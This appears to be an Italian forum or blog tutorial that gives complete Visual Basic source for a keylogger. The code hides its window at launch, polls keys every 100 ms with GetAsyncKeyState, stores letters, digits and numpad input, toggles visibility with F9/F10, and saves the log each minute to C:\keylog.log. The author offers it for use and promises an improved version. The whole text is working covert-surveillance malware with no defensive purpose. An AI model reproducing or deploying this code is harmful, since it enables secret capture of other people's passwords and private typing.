in un modulo dichiarare la seguente funzione API e le seguenti costanti:
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Const KEYEVENTF_EXTENDEDKEY = &H1 'indica la pressione del tasto (keyDown)
Const KEYEVENTF_KEYUP = &H2 'indica il rilascio del tasto premuto (keyUp)
Per rendere il form invisibile all'avvio del programma, digitare il seguente codice
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = True
Label1.Caption = ""
End Sub
Adesso in un timer che preferibilmente ogni 100 ms registra la pressione dei tasti , scrivere il seguente codice:
Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyA) Then
Label1.Caption = Label1.Caption & "A"
End If
If GetAsyncKeyState(vbKeyB) Then
Label1.Caption = Label1.Caption & "B"
End If
If GetAsyncKeyState(vbKeyC) Then
Label1.Caption = Label1.Caption & "C"
End If
If GetAsyncKeyState(vbKeyD) Then
Label1.Caption = Label1.Caption & "D"
End If
If GetAsyncKeyState(vbKeyE) Then
Label1.Caption = Label1.Caption & "E"
End If
If GetAsyncKeyState(vbKeyF) Then
Label1.Caption = Label1.Caption & "F"
End If
If GetAsyncKeyState(vbKeyG) Then
Label1.Caption = Label1.Caption & "G"
End If
If GetAsyncKeyState(vbKeyH) Then
Label1.Caption = Label1.Caption & "H"
End If
If GetAsyncKeyState(vbKeyI) Then
Label1.Caption = Label1.Caption & "I"
End If
If GetAsyncKeyState(vbKeyJ) Then
Label1.Caption = Label1.Caption & "J"
End If
If GetAsyncKeyState(vbKeyK) Then
Label1.Caption = Label1.Caption & "K"
End If
If GetAsyncKeyState(vbKeyL) Then
Label1.Caption = Label1.Caption & "L"
End If
If GetAsyncKeyState(vbKeyM) Then
Label1.Caption = Label1.Caption & "M"
End If
If GetAsyncKeyState(vbKeyN) Then
Label1.Caption = Label1.Caption & "N"
End If
If GetAsyncKeyState(vbKeyO) Then
Label1.Caption = Label1.Caption & "O"
End If
If GetAsyncKeyState(vbKeyP) Then
Label1.Caption = Label1.Caption & "P"
End If
If GetAsyncKeyState(vbKeyQ) Then
Label1.Caption = Label1.Caption & "Q"
End If
If GetAsyncKeyState(vbKeyR) Then
Label1.Caption = Label1.Caption & "R"
End If
If GetAsyncKeyState(vbKeyS) Then
Label1.Caption = Label1.Caption & "S"
End If
If GetAsyncKeyState(vbKeyT) Then
Label1.Caption = Label1.Caption & "T"
End If
If GetAsyncKeyState(vbKeyU) Then
Label1.Caption = Label1.Caption & "U"
End If
If GetAsyncKeyState(vbKeyV) Then
Label1.Caption = Label1.Caption & "V"
End If
If GetAsyncKeyState(vbKeyW) Then
Label1.Caption = Label1.Caption & "W"
End If
If GetAsyncKeyState(vbKeyX) Then
Label1.Caption = Label1.Caption & "X"
End If
If GetAsyncKeyState(vbKeyY) Then
Label1.Caption = Label1.Caption & "Y"
End If
If GetAsyncKeyState(vbKeyZ) Then
Label1.Caption = Label1.Caption & "Z"
End If
If GetAsyncKeyState(vbKey1) Then
Label1.Caption = Label1.Caption & "1"
End If
If GetAsyncKeyState(vbKey2) Then
Label1.Caption = Label1.Caption & "2"
End If
If GetAsyncKeyState(vbKey3) Then
Label1.Caption = Label1.Caption & "3"
End If
If GetAsyncKeyState(vbKey4) Then
Label1.Caption = Label1.Caption & "4"
End If
If GetAsyncKeyState(vbKey5) Then
Label1.Caption = Label1.Caption & "5"
End If
If GetAsyncKeyState(vbKey6) Then
Label1.Caption = Label1.Caption & "6"
End If
If GetAsyncKeyState(vbKey7) Then
Label1.Caption = Label1.Caption & "7"
End If
If GetAsyncKeyState(vbKey8) Then
Label1.Caption = Label1.Caption & "8"
End If
If GetAsyncKeyState(vbKey9) Then
Label1.Caption = Label1.Caption & "9"
End If
If GetAsyncKeyState(vbKey0) Then
Label1.Caption = Label1.Caption & "0"
End If
If GetAsyncKeyState(vbKeySpace) Then
Label1.Caption = Label1.Caption & " "
End If
If GetAsyncKeyState(vbKeyNumpad0) Then
Label1.Caption = Label1.Caption & "0"
End If
If GetAsyncKeyState(vbKeyNumpad1) Then
Label1.Caption = Label1.Caption & "1"
End If
If GetAsyncKeyState(vbKeyNumpad2) Then
Label1.Caption = Label1.Caption & "2"
End If
If GetAsyncKeyState(vbKeyNumpad3) Then
Label1.Caption = Label1.Caption & "3"
End If
If GetAsyncKeyState(vbKeyNumpad4) Then
Label1.Caption = Label1.Caption & "4"
End If
If GetAsyncKeyState(vbKeyNumpad5) Then
Label1.Caption = Label1.Caption & "5"
End If
If GetAsyncKeyState(vbKeyNumpad6) Then
Label1.Caption = Label1.Caption & "6"
End If
If GetAsyncKeyState(vbKeyNumpad7) Then
Label1.Caption = Label1.Caption & "7"
End If
If GetAsyncKeyState(vbKeyNumpad8) Then
Label1.Caption = Label1.Caption & "8"
End If
If GetAsyncKeyState(vbKeyNumpad9) Then
Label1.Caption = Label1.Caption & "9"
End If
If GetAsyncKeyState(vbKeyF9) Then
Form1.Visible = True
App.TaskVisible = True
End If
If GetAsyncKeyState(vbKeyF10) Then
Form1.Visible = False
App.TaskVisible = False
End If
If GetAsyncKeyState(vbKeyReturn) Then
Label1.Caption = Label1.Caption & "___"
End If
If GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey1) Then
Label1.Caption = Label1.Caption & "!"
End If
End Sub
In questo modo in un label1.caption verrà registrato tutto ciò che voi avete premuto.
Adesso in un altro timer di intervallo preferibilmente 1 minuto, scrivere:
Private Sub Timer2_Timer()
Dim cartella As String, documento As String, FileNumber As Integer
cartella = "C:\"
documento = "C:\keylog.log"
FileNumber = FreeFile ' restituisce un numero identificativo per il file da aprire
Open documento For Output As #FileNumber ' Crea un nome di file e se già esiste lo sovrascrive
testo = Label1.Caption 'assegna alla variabile il contenuto della textbox che contiene il testo
Print #FileNumber, testo ' Scrive il testo nel file
Close #FileNumber ' Chiude il file.
End Sub
In questo modo ogni minuto verrà salvato nella cartella "C:\" un file di testo contenente le informazioni ottenute. Il file si chiamerà keylog.log
Ciao e alla prossima!
Nota Bene: questo esempio mostra come captare solamente lettere, numeri e numeri del tastierino numerico. Nel label vengono registrate in maiuscolo, ma a presto pubblicherò la versione beta 2 che sarà sensibile al caps e registrerà anche alcuni simboli alfanumerici
SuperTiz